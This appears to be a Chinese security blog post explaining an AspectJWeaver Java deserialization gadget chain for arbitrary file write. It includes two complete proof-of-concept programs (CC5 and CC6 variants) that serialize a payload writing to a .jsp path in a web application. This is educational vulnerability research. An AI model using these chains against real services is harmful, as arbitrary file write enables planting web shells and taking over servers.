目录

简介

原理分析

EXP

CC5改链

CC6改链


简介

pom依赖:

<dependency>
    <groupId>org.aspectj</groupId>
    <artifactId>aspectjweaver</artifactId>
    <version>1.9.2</version>
</dependency>

AspectJWeaver 是 AspectJ 框架的一部分,是一个用于实现面向切面编程(AOP)的工具。AspectJWeaver 提供了在 Java 程序中使用 AspectJ 的功能,并通过字节码操纵技术来织入切面代码到应用程序的目标类中。

这篇文章不聊怎么任意利用文件写入进而来RCE,只学习一下如何利用AspectJWeaver通过反序列化来进行任意文件写入。

原理分析

这条链也很简单粗暴

我们主要来看关键类SimpleCache$StoreableCachingMap

从顾名思义的角度,推测"StoreableCachingMap" 可能是一个对对象进行存储和缓存的映射结构的名称。它可能实现了一种将对象存储在内部数据结构中,并使用某种策略(例如时间戳、最近最少使用等)进行缓存管理的方式。

注意到SimpleCache类的内部类StoreableCachingMap是一个继承HashMap的类。

private static class StoreableCachingMap extends HashMap {
        private String folder;
        private static final String CACHENAMEIDX = "cache.idx";
        private long lastStored = System.currentTimeMillis();
        private static int DEF_STORING_TIMER = 60000;
        private int storingTimer;
        private transient Trace trace;

其构造方法在创建对象时接收文件夹路径和存储计时器的值,并将它们保存到对象的状态中,同时调用了一个初始化方法来确保对象的正确设置。

private StoreableCachingMap(String folder, int storingTimer) {
            this.folder = folder;
            this.initTrace();
            this.storingTimer = storingTimer;
        }

 关注到这个类重写了HashMap#put

public Object put(Object key, Object value) {
            try {
                String path = null;
                byte[] valueBytes = (byte[])((byte[])value);
                if (Arrays.equals(valueBytes, SimpleCache.SAME_BYTES)) {
                    path = "IDEM";
                } else {
                    path = this.writeToPath((String)key, valueBytes);
                }

                Object result = super.put(key, path);
                this.storeMap();
                return result;
            }

这段代码的功能是将键值对添加到映射中。根据 value 的不同情况,可能会将路径设置为 "IDEM" 或使用 writeToPath 方法将键和值写入到某个路径中。然后,将键和路径添加到映射中,并将映射数据存储到持久化存储中。最后,返回添加结果。 

那个条件判断就是检查 valueBytes 是否与 SimpleCache.SAME_BYTES 相等。如果相等,说明 value 是一个特定的字节数组(SimpleCache.SAME_BYTES),则将 path 设置为 "IDEM"。

SimpleCache.SAME_BYTES为下面的这个值

private static final byte[] SAME_BYTES = "IDEM".getBytes();

一通分析显然会进到else,跟进writeToPath

 private String writeToPath(String key, byte[] bytes) throws IOException {
            String fullPath = this.folder + File.separator + key;
            FileOutputStream fos = new FileOutputStream(fullPath);
            fos.write(bytes);
            fos.flush();
            fos.close();
            return fullPath;
        }

这段代码的功能是将字节数组写入到指定路径的文件中。它创建一个文件输出流对象,将字节数组写入到文件中,然后刷新输出流并关闭它。最后,返回写入的文件的完整路径。 

在return fullPath处设断,注意到写入以及取到的文件路径就是由this.folder,File.separator和key拼接而成的

【Web】浅聊Java反序列化之AspectJWeaver——任意文件写入-LMLPHP

到这一步我们可以总结一下,通过调用StoreableCachingMap#put就可写入任意文件

问题来到了,put该由谁触发呢?

其实要触发StoreableCachingMap#put,就是要触发HashMap#put

到了这一点,就不难联想到LazyMap.get()的经典逻辑:

根据给定的键 key 从映射中获取对应的值。如果映射中已经包含了该键,则直接返回对应的值;如果映射中不包含该键,则通过 factory 对象的 transform 方法生成对应的值,并将键值对添加到映射中,然后返回该值。

只要令传入的map为StoreableCachingMap即可触发StoreableCachingMap#put

而value的值也是我们通过ConstantTransformer可控的,如果key也可控,那么文件内容和路径都将由我们为所欲为

 public Object get(Object key) {
        if (!this.map.containsKey(key)) {
            Object value = this.factory.transform(key);
            this.map.put(key, value);
            return value;
        } else {
            return this.map.get(key);
        }
    }

在我们之前接触的链子里,有一个很经典的CC5/CC6的TiedMapEntry触发LazyMap.get(),也有CC1的AnnotationInvocationHandler动态代理触发LazyMap.get(),但遗憾的是CC1get传入的key是调用的method,我们不可控,所以不能用于改链。

 

EXP

CC5改链

package com.AspectJWeaver;

import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class AspectJWeaver {
    public static void main(String[] args) throws Exception {
        // 反射获取构造函数
        Constructor con = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructor(String.class,int.class);
        con.setAccessible(true);
        // 实例化对象
        HashMap map = (HashMap)con.newInstance("C:", 1);
        // 这里用到ConstantTransformer是为了构造value,即写入文件的值
        ConstantTransformer transform = new ConstantTransformer("Z3r4y".getBytes(StandardCharsets.UTF_8));
        // 返回一个LazyMap对象
        Map outmap = LazyMap.decorate(map,transform);
        // 利用TiedMapEntry和BadAttributeValueExpException,使反序列化BadAttributeValueExpException对象的时候触发LazyMap的get方法
        TiedMapEntry tiedmap = new TiedMapEntry(outmap,"Users\\21135\\Desktop\\RuoYi-v4.7.1\\AspectJWeaver\\1.jsp");
        // 这里是为了序列化时不触发LazyMap的get方法
        BadAttributeValueExpException poc = new BadAttributeValueExpException(null);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(poc,tiedmap);

        // 序列化
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(out);
        oos.writeObject(poc);
        System.out.println(Base64.getEncoder().encodeToString(out.toByteArray()));
        // 反序列化
        ByteArrayInputStream in = new ByteArrayInputStream(out.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(in);
        ois.readObject();
    }
}

CC6改链

package com.AspectJWeaver;

import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class AspectJWeaver {
    public static void main(String[] args) throws Exception {
        // 反射获取构造函数
        Constructor con = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructor(String.class,int.class);
        con.setAccessible(true);
        // 实例化对象
        HashMap map = (HashMap)con.newInstance("C:", 1);
        // 这里用到ConstantTransformer是为了构造value,即写入文件的值
        ConstantTransformer transform = new ConstantTransformer("Z3r4y".getBytes(StandardCharsets.UTF_8));
        // 返回一个LazyMap对象
        Map outmap = LazyMap.decorate(map,transform);
        // 利用TiedMapEntry和BadAttributeValueExpException,使反序列化BadAttributeValueExpException对象的时候触发LazyMap的get方法
        TiedMapEntry tiedmap = new TiedMapEntry(outmap,"Users\\21135\\Desktop\\RuoYi-v4.7.1\\AspectJWeaver\\1.jsp");
        // 这里是为了序列化时不触发LazyMap的get方法
        Map expMap = new HashMap();
        expMap.put(tiedmap, "xxx");

        // 序列化
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(out);
        oos.writeObject(expMap);
        System.out.println(Base64.getEncoder().encodeToString(out.toByteArray()));
        // 反序列化
        ByteArrayInputStream in = new ByteArrayInputStream(out.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(in);
        ois.readObject();
    }
}

成功写入

【Web】浅聊Java反序列化之AspectJWeaver——任意文件写入-LMLPHP

【Web】浅聊Java反序列化之AspectJWeaver——任意文件写入-LMLPHP

03-13 14:34